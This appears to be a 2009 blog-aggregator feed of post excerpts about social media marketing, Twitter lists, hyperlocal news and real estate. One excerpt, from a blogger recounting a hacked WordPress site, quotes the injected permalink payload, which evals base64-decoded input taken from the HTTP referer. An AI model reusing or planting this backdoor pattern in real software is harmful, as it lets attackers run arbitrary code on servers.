2 days ago

Submitted by Pkitano from blog: We have had success providing our social media training platform to a number of REALTOR Boards (an example in far flung Oklahoma City) and are extending the platform to any associations or enterprises who can use a social media training resource free.The free social media training platformView more presentations from Pat Ki (Read More)

6 days ago

Submitted by Pkitano from blog: The title of this post seemed to be coined by Dave Troy in his post “Why Twitter Lists Change Everything” (recommended). It’s an apt term that describes 1) how anybody can now become a media source to “curate” news compelling to their readership and 2) how delivering that news provides “economic” value to both the [...] (Read More)

Nov 01, 2009

Submitted by Pkitano from blog: Here’s a perfect way to engage your community by providing them with local breaking news resources using Twitter and Twitter Lists. And it only takes ONE HOUR to build… see the slideshow (best seen in full screen)!Build a dynamic local community news resource on Twitter in one hourView more presentations from Pat Kitano.If (Read More)

Oct 24, 2009

Submitted by Pkitano from blog: Suddenly, this Wordpress blog’s feed stopped working and all the permalinks had this strange code embedded at the end of the link: %&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/I asked on Twitter and Facebook for help (tx James & Kevin for help!). Usually this works.Upon Googling the above code, I find out the p (Read More)

Oct 24, 2009

Submitted by Pkitano from blog: Originally published on October 15, 2009:This is one way social media has changed the sales process.Traditional corporate sales forces are hired for their industry expertise. A product or service that targets the hospitality industry will seek account executives with that background. But suppose the company realizes that it (Read More)

Oct 24, 2009

Submitted by Pkitano from blog: Originally published Sept. 29. 2009:I originally intended this slideshow for local business people who wanted a blog for marketing purposes, but didn’t have the inclination to start a blog due to writing and time commitments. After posting the slideshow, I received feedback that Posterous was a great method to create new “b (Read More)

Oct 20, 2009

Google Blog Search: "social media" Twitter lists will change how people network themselves into groups and geographies. Although the first lists will develop around social media (top 100s, etc.), they will eventually develop around organizations / civic groups, enterprises and geographies / neighborhoods. Once this happens, Twitter will evolve into a hyperlo (Read More)

Oct 23, 2009

Submitted by Pkitano from blog: Facebook’s share of 25% of US pageviews is truly dominating for an application that just started taking off a couple of years ago. Businesses can’t afford to ignore social media in the face of this. (Read More)

Oct 06, 2009

Submitted by Pkitano from blog: Real estate brokers and agents are an identifiable categorical group in the social media, everybody recognizes their presence talking shop or chatting up the local community. The industry’s relationship with the Internet has historically been mercenary; the principal reason for online presence, whether with a website in 200 (Read More)

Sep 28, 2009

Submitted by Pkitano from blog: I originally intended this slideshow for local business people who wanted a blog for marketing purposes, but didn’t have the inclination to start a blog due to writing and time commitments. After posting the slideshow, I received feedback that Posterous was a great method to create new “blogs” on a variety of topics and int (Read More)

Sep 24, 2009

Submitted by Pkitano from blog: Programming motivational speaker Tony Robbins at the 140 | Twitter conference was a stroke of genius. Not only did it inject spirit into the staid normality of a tech conference, but Tony presented how he’s integrated Twitter into the Robbins’ philosophy.Simply put, Robbins laid out the Maslow-like six human needs and demon (Read More)

Sep 23, 2009

Submitted by Pkitano from blog: At noon today at the 140 Twitter Conference at the Skirball in LA, we’ll be hosting a panel on Hyperlocal Twitter Business Models. If you’re at #140TC, please join us at the Breakout Room. H/T to Steve Broback for putting together a conference that combines celebrity and tech in an engaging setting. (Read More)

Sep 20, 2009

Submitted by Pkitano from blog: GigaOm features an article by Joshua Auerbach “New Media Demands a News Media Company“. His conclusions mirror what we’ve been thinking:1. Creative / experimental media development will become business driversMedia is entering a stage where the new media development of media properties will differentiate successful companie (Read More)

Sep 15, 2009

Submitted by Pkitano from blog: Google Fast Flip launched today to uniformly good reviews because this is an application that should have existed even ten years ago. It’s like a magazine rack display of major press that uses the “like” feature to push the more popular articles up.So why didn’t the packaging of news into a virtual rackspace take so [...] (Read More)

Sep 10, 2009

Submitted by Pkitano from blog: This week’s Time declares on its front cover ” Jay Leno is the Future of TV”. By parading Jay’s new show at 10:00 to compete with expensively produced dramas like CSI: Miami and other scripted shows, NBC is beta testing whether live content will be more cost effective than canned content.What’s the revolution? PC monitors [ (Read More)

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